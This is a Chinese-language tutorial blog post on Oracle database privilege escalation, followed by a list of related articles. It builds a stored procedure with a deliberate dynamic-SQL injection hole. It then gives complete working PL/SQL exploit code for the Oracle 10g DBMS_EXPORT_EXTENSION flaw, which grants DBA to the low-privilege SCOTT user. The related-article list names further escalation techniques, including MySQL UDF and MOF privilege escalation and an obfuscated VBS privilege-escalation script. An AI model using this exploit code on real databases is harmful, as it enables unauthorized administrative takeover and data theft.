0x01 Oracle存储过程缺陷

在 Oracle 的存储过程中,有一个有趣的特点:运行权限。运行权限分为两种,definer 和 invoker。

definer 为函数创建者的权限,而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了,默认为 definer


说白了,如果我们用低权限用户去运行DBA权限用户创建的存储过程,我们在调用时就可以额访问DBA资源,使用DBA的权限

Oracle 这样做的初衷,实际上是为了用户互相访问资源时,避免用户凭据的问题。当然也可以将函数的权限定义为 invoker,但需要显式设置:

create or replace function Whoami return varchar2

AUTHID CURRENT_USER

begin NULL; end;

因为具有这样的特性,所以当存储过程函数实现存在缺陷时,安全问题就产生了。




比如下面这里新建一个存储过程

create or replace procedure SasugaOracle(msg in varchar2)

as

stmt varchar2(255);

begin

    stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;';

    EXECUTE IMMEDIATE stmt;

end;

EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限:

grant execute on SasugaOracle to public;

接着切换到普通用户,只有 CONNECT 和 RESOURCE 权限,执行存储过程:

修改一下传入的参数,这里我们在原命令后新增了一条添加数据库用户的命令,这里添加的用户名为latec0mer

然后我们查询一下是否存在latec0mer这个用户,可以看到我们上一条新增的命令是生效的。

类似的,如果 Oracle 的系统函数中存在同样的缺陷,我们便有机会对其加以利用,提升权限,甚至执行系统命令。

0x02 Oracle 10g 经典提权漏洞

在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞,该函数位于 DBMS_EXPORT_EXTENSION 包中,执行权限隶属于 sys。

用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,我们就可以利用执行具有高权限的漏洞函数来达到提升数据库用户权限的目的。

sqlplus scott/tiger@orcl

查询scott的当前角色

select * from session_roles;

可以看到scott只有CONNECT和RESOURCE两个权限较低的角色

利用漏洞执行权限提升

Create or REPLACE

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN(1);
END;
END;
/

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'SCOTT';
VERSION := '10.2.0.1.0';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>
INDEX_NAME,
INDEX_SCHEMA=> INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/

现在我们再来看看权限

成功从普通用户提权到dba用户。

ps:经测试,oracle10.2.0.4以上版本没这个安全漏洞

Oracle数据库提权(低权限提升至dba)的更多相关文章

  1. 使用PLSQL 创建Oracle数据库用户并设置权限

    转至https://blog.csdn.net/ying890/article/details/14083029?utm_medium=distribute.pc_relevant_download. ...

  2. 08提权 系统文件权限和远程连接IP绕过 安装后门

    大家都知道08权限的系统权限设置很严格  面对限制IP连接的情况 我们及时拿到system权限 有账号也上不去这种情况下只能弄shift后门 或者放大镜了  但08权限 在system权限也操作不了系 ...

  3. MySQL提权之udf提权(获得webshell的情况)

    什么是udf提权? MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf. 它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.d ...

  4. MySQL提权之udf提权(无webshell的情况)

    0x00 介绍 本篇我们来讲无webshell时利用udf进行提权 0x01 前提 1. 必须是root权限(主要是得创建和抛弃自定义函数) 2. secure_file_priv=(未写路径) 3. ...

  5. 提权基础-----mysql-udf提权

    1.总结关于udf提权方法 通过弱口令,爆破,网站配置文件等方式得到mysql数据库帐号密码,---还要能外连 (1).将udf.dll代码的16进制数声明给my_udf_a变量 set @my_ud ...

  6. MySQL提权之mof提权

    mof提权原理 关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次 ...

  7. [原创]IIS提权工具-VBS提权脚本免杀生成器

    [原创]添加系统用户 VBS提权脚本随机加密生成器[K.8] 2011-05-05 02:42:53|  分类: 原创工具 VBS提权脚本随机加密生成器[K.8]  Author: QQ吻 QQ:39 ...

  8. PublicCMS 网站漏洞 任意文件写入并可提权服务器权限

    PublicCMS是目前网站系统中第一个采用JAVA架构 TOMCAT+Apcche+Mysql数据库架构的CMS网站,开源,数据承载量大,可以承载到上千万的数据量,以及用户的网站并发可达到上千万的P ...

  9. 第三方提权之serv-u提权

    文章比较简单,只是做一个科普.给一个好朋友的. 倘若口令更改了大家可以去serv-u的目录(默认路径:C:\Program Files\Serv-U\)找其配置文件(ServUDaemon.ini), ...

随机推荐

  1. get和post请求方式的区别

    1.用途方面: get是向服务器请求数据,post是向服务器发送数据. 2.大小方面: get发送数据上有大小限制,post理想上无大小限制,实际上有限制. 3.安全方面: get请求的数据会显示在地 ...

  2. .Net基础篇_学习笔记_第四天_加加减减

    using System.Linq; using System.Text; using System.Threading.Tasks; namespace 第四天_加加减减 { class Progr ...

  3. java中的GC

    1.GC发生在JVM中的堆区 2.GC是很么? 1.次数上频繁收集Young区  Minor  GC 2.次数上较少收集Old区       Full      GC 3.基本不动的Perm区 3.G ...

  4. Elastic-Job:动态添加任务,支持动态分片

    多情只有春庭月,犹为离人照落花. 概述 因项目中使用到定时任务,且服务部署多实例,因此需要解决定时任务重复执行的问题.即在同一时间点,每一个定时任务只在一个节点上执行.常见的开源方案,如 elasti ...

  5. 摩托罗拉GP68对讲机官方说明书下载,包含使用说明压音表和电路结构等

    摩托罗拉GP68对讲机官方说明书,包含使用说明和电路结构等 1.使用说明书 链接: https://pan.baidu.com/s/1fhXXaBp-MSuQs9Sv3v_Crg 提取码: mc3e ...

  6. 阿里云CentOS7.3服务器通过Docker安装Nginx

    前言 小编环境: 阿里云CentOS7.3服务器 docker 下面分享一次小编在自己的阿里云CentOS7.3服务器上使用Docker来安装Nginx的一次全过程 温馨小提示: 如果只是希望单纯使用 ...

  7. SpringBoot起飞系列-Web开发(四)

    一.前言 从今天你开始我们就开始进行我们的web开发,之前的一篇用SpringBoot起飞系列-使用idea搭建环境(二)已经说明了我们如何进行开发,当然这是搭建起步,接下来我们就开始进行详细的开发, ...

  8. Python简单的抓取静态网页内容

    import requests from bs4 import BeautifulSoup res = requests.get('http://news.sina.com.cn/china/')#获 ...

  9. 使用Hugo,只需5分钟,轻松搭建一个自己的博客

    前面跟大家介绍过hexo这款静态博客系统,功能强大,基本能满足博客的各种需求.今天,我再跟大家介绍一款优秀的静态博客系统,那就是Hugo. Hugo是由Go语言实现的静态网站生成器.简单.易用.高效. ...

  10. Java 学习笔记之 实例变量非线程安全

    实例变量非线程安全: 如果多个线程共同访问1个对象中的实例变量,则可能出现“非线程安全”问题. public class UnSafeHasSelfPrivateNum { private int n ...